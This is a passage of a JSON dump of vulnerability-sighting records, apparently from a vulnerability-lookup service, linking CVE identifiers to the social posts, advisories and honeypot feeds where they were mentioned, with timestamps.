"seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljmwkpc74l2u", "content": "", "creation_timestamp": "2025-03-05T12:00:09.402824Z"}, {"uuid": "b3feb686-97c4-4ffd-bf2c-4bd139e8a346", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3li2sbewftj2m", "content": "", "creation_timestamp": "2025-02-13T13:30:12.482764Z"}, {"uuid": "84ca33da-df47-472b-90a4-61e818393d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/114104439847713596", "content": "", "creation_timestamp": "2025-03-04T13:39:39.188432Z"}, {"uuid": "813723b6-35e3-4f8f-85a7-e1a9b9572706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljyzjbv4aux2", "content": "", "creation_timestamp": "2025-03-10T07:25:08.188000Z"}, {"uuid": "20e481f7-ce39-43ea-bf2c-4f8ed059ed51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljmyf6xxz3f2", "content": "", "creation_timestamp": "2025-03-05T12:33:58.026204Z"}, {"uuid": "7c52b2fb-d004-4f1b-b336-b6cf9d5a5189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljz4oqommfy2", "content": "", "creation_timestamp": "2025-03-10T08:24:45.430516Z"}, {"uuid": "ee0f5080-4e1a-432b-b312-5d571157969d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50572", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "1c71b600-facc-4af7-9aae-022b6b98706f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0072", "content": "", "creation_timestamp": "2025-03-04T09:15:32.000000Z"}, {"uuid": "07a3dc97-b523-4724-94ef-a8f43e08cfbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50560", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "b4cf7b62-94cd-497c-a11d-fd0a17ee6800", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50561", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "03b144ec-baca-4e94-845d-16eb865d2b8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50053", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkuuyp4y4b2k", "content": "", "creation_timestamp": "2025-03-21T09:18:40.705209Z"}, {"uuid": "95ee9f48-bbd2-4026-a0d2-e07e1eb84192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljqbjeloxs2s", "content": "", "creation_timestamp": "2025-03-06T19:54:16.353898Z"}, {"uuid": "00ea232a-d8e9-44af-8ca9-89e0150d08b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljqbppbsn22s", "content": "", "creation_timestamp": "2025-03-06T19:57:50.587193Z"}, {"uuid": "1b976ae5-061a-44f8-bde9-8276206b9a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/stefanlasiewski.bsky.social/post/3ljnnl3ng6k2i", "content": "", "creation_timestamp": "2025-03-05T18:51:56.054473Z"}, {"uuid": "9f2d4181-1fd3-4010-a150-97126dba29c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljnrbwikfc23", "content": "", "creation_timestamp": "2025-03-05T19:58:29.211467Z"}, {"uuid": "fd0c640c-440e-46e3-8894-ca198a2d7de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://threatintel.cc/2025/03/04/googles-march-android-security-update.html", "content": "", "creation_timestamp": "2025-03-04T12:39:16.000000Z"}, {"uuid": "b383530e-a780-4e63-9000-5f6f6a0cf5e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljkxoeu6f42y", "content": "", "creation_timestamp": "2025-03-04T17:14:44.214445Z"}, {"uuid": "878cdb3d-c099-4a69-a997-0daf39608620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-03-04T18:10:02.000000Z"}, {"uuid": "19375f23-fbbd-4095-8fbd-5c3d3f2625ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/theitnerd.bsky.social/post/3ljl56rkfga2o", "content": "", "creation_timestamp": "2025-03-04T18:53:23.407676Z"}, {"uuid": "c543a0b5-61b8-4890-bfeb-9b43d83e869a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ljnutmlb7j2u", "content": "", "creation_timestamp": "2025-03-05T21:02:01.145981Z"}, {"uuid": "9666e106-284f-4bd8-8532-f28bc9092a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3483015", "content": "", "creation_timestamp": "2025-03-04T19:14:09.691066Z"}, {"uuid": "6df2316f-cbb4-4512-b63e-e9f2b98fe9a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3ljl6k2yeuk2w", "content": "", "creation_timestamp": "2025-03-04T19:17:36.516785Z"}, {"uuid": "ae4f090c-1f99-4173-b416-cd0045411df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3ljl6k2yeul2w", "content": "", "creation_timestamp": "2025-03-04T19:17:37.733182Z"}, {"uuid": "8794b0b8-85c1-47de-9f93-a38727ba40c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3ljl75zxkgt2w", "content": "", "creation_timestamp": "2025-03-04T19:29:01.507994Z"}, {"uuid": "fba05a5f-3a63-47d9-bc43-ca1eec0f7cc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114105890436812082", "content": "", "creation_timestamp": "2025-03-04T19:48:34.153345Z"}, {"uuid": "a1078e48-3a32-49b4-8e42-523c65326487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50707", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114105890511876564", "content": "", "creation_timestamp": "2025-03-04T19:48:35.287356Z"}, {"uuid": "13fae908-9bb0-4b52-8c2f-fff94e93f0e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50608", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lihul7nvgj2g", "content": "", "creation_timestamp": "2025-02-18T18:16:05.988122Z"}, {"uuid": "7ae70211-e242-4386-984f-00dc6580b810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50609", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lihulc3pll23", "content": "", "creation_timestamp": "2025-02-18T18:16:08.661586Z"}, {"uuid": "afec3e1f-ec76-473c-afb8-58224ce04641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50609", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liiauwgdzd24", "content": "", "creation_timestamp": "2025-02-18T21:56:17.470813Z"}, {"uuid": "90fc378a-c1e9-43bb-b50b-ce387cdfe776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50608", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liiauwtzm32c", "content": "", "creation_timestamp": "2025-02-18T21:56:19.995226Z"}, {"uuid": "ef396ef0-4d0e-41ba-86c6-917ce9815887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3ljjbwhlu3c2k", "content": "", "creation_timestamp": "2025-03-04T01:12:53.865213Z"}, {"uuid": "79e2d781-458b-4f7a-9ff8-3560db3fcdfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3ljjclirk2s2k", "content": "", "creation_timestamp": "2025-03-04T01:24:39.696545Z"}, {"uuid": "a54b3966-a2a7-421e-b884-996e829e7d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljud2oz5oyw2", "content": "", "creation_timestamp": "2025-03-08T10:34:17.093555Z"}, {"uuid": "6994e58e-63b9-498f-900d-174805d1282f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-21)", "content": "", "creation_timestamp": "2025-03-21T00:00:00.000000Z"}, {"uuid": "0159c88e-9b4f-4f2b-8792-b018154e5877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50608", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3linvjxu6nu2o", "content": "", "creation_timestamp": "2025-02-21T03:49:16.454984Z"}, {"uuid": "22a3258e-3416-48cb-862f-b627af2181c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50609", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3linvjxu6nu2o", "content": "", "creation_timestamp": "2025-02-21T03:49:16.524752Z"}, {"uuid": "8ef3a339-0d4f-4591-b153-432c53bbb88f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50608", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lio5juxels2g", "content": "", "creation_timestamp": "2025-02-21T06:12:23.895489Z"}, {"uuid": "3261fb70-f61e-44e2-950e-538c394f8e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50609", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lio5juxels2g", "content": "", "creation_timestamp": "2025-02-21T06:12:23.953729Z"}, {"uuid": "55ff014b-319f-4cac-86e0-f97b360407a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50608", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lio5s52cbs2d", "content": "", "creation_timestamp": "2025-02-21T06:17:06.715284Z"}, {"uuid": "47ff01be-49da-47d8-bf8e-7deae6e19ec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50609", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lio5s52cbs2d", "content": "", "creation_timestamp": "2025-02-21T06:17:06.775967Z"}, {"uuid": "1b5bd600-34f1-4692-94d5-e16785ba250f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50691", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "b9ce5d8d-9d41-4b2f-bf24-c332a8be766f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50690", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "864d11ea-5010-4e31-9e12-e9a77140b35b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50684", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "62f14cf0-915a-4123-aff2-826c49b4bac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50694", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "78887929-42bd-4164-b071-24525a846004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50685", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "e0892509-0646-4108-a0de-490987e10e70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50697", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "df049196-d1f4-4d77-a5a9-64dfd493f62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50693", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "a7395f6b-1764-4e16-a550-9afc8c12afb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/aimainainnu.bsky.social/post/3ljodi4yzu22p", "content": "", "creation_timestamp": "2025-03-06T01:24:05.763605Z"}, {"uuid": "2cc267f0-70f6-4136-a671-fec83f5f0d4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50689", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "12d5c7a7-4d9a-4e90-a68d-8e2b43703984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50686", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "5467f088-74e4-446b-948a-ae786156d060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50687", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "9a94adec-6492-47af-ac1c-d8266e1ffcc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50688", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "446959f8-b382-404b-bd44-a5583bfe4212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50692", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "730d262b-55fd-4afd-b635-26ea74b522af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50695", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "ab106209-d634-4284-98bc-a5c39f1c86d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50698", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "9650e40a-1603-4888-978a-2c6a4a57e27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50696", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-12", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "8d0032f1-a940-4326-91bc-dc435f1bb8c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljrlfu7kiep2", "content": "", "creation_timestamp": "2025-03-07T08:23:54.896357Z"}, {"uuid": "764afa79-d65c-476e-9bf8-35aefc7269c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ljjnlzbufh2l", "content": "", "creation_timestamp": "2025-03-04T04:41:48.687726Z"}, {"uuid": "6c373014-b0eb-4027-96c1-f8bdba909e31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljlhbw6h4s2z", "content": "", "creation_timestamp": "2025-03-04T21:54:07.555810Z"}, {"uuid": "e6359844-063c-46dc-993e-f1a34d269309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljosoyhtuez2", "content": "", "creation_timestamp": "2025-03-06T05:56:26.689837Z"}, {"uuid": "b09ac304-5a3a-4df7-8e41-ae96d7342727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:04.000000Z"}, {"uuid": "6985c261-261c-4893-b089-7ab5f9a4b4cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50706", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114106832254640181", "content": "", "creation_timestamp": "2025-03-04T23:48:04.923920Z"}, {"uuid": "758e4c4b-9498-477c-a841-99f2073417a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ljjoqspk6u2h", "content": "", "creation_timestamp": "2025-03-04T05:02:22.481474Z"}, {"uuid": "46890d99-ea75-4c78-a4ca-dc5f72480eb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-25)", "content": "", "creation_timestamp": "2025-03-25T00:00:00.000000Z"}, {"uuid": "cffb4182-3f93-4ba4-a55c-0aa470d11809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50302", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3ljjowcb3jc24", "content": "", "creation_timestamp": "2025-03-04T05:05:26.992531Z"}, {"uuid": "2d302db2-b737-40bb-b740-9d78352b27bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:02.000000Z"}, {"uuid": "53b75054-755a-4387-a96e-4a4fc1b32ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50394", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ljw2sqno7k27", "content": "", "creation_timestamp": "2025-03-09T03:10:12.408396Z"}, {"uuid": "fd4f4c23-4d92-4a67-a0e5-36e5b252f255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-03-06T04:40:22.000000Z"}, {"uuid": "6dfb304f-b630-4abd-adaa-4a0567e1d9f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50706", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljlodb2yih2c", "content": "", "creation_timestamp": "2025-03-05T00:00:11.647029Z"}, {"uuid": "9b83dbaf-eddd-48e9-9755-704623709714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljlodbbflk2e", "content": "", "creation_timestamp": "2025-03-05T00:00:12.374009Z"}, {"uuid": "c3bc94b2-e018-461d-8a23-bbd029e51b8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50707", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljlodbhzg424", "content": "", "creation_timestamp": "2025-03-05T00:00:13.063518Z"}, {"uuid": "9be05ef3-60d6-4da1-a24d-85517672abe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3ljlsgezkhe2m", "content": "", "creation_timestamp": "2025-03-05T01:13:30.780658Z"}, {"uuid": "078b2771-c72a-4753-bb06-4e042265e42a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-02)", "content": "", "creation_timestamp": "2025-03-02T00:00:00.000000Z"}, {"uuid": "4a508c05-a6ab-4d48-a593-f0df8bf27307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50394", "type": "seen", "source": 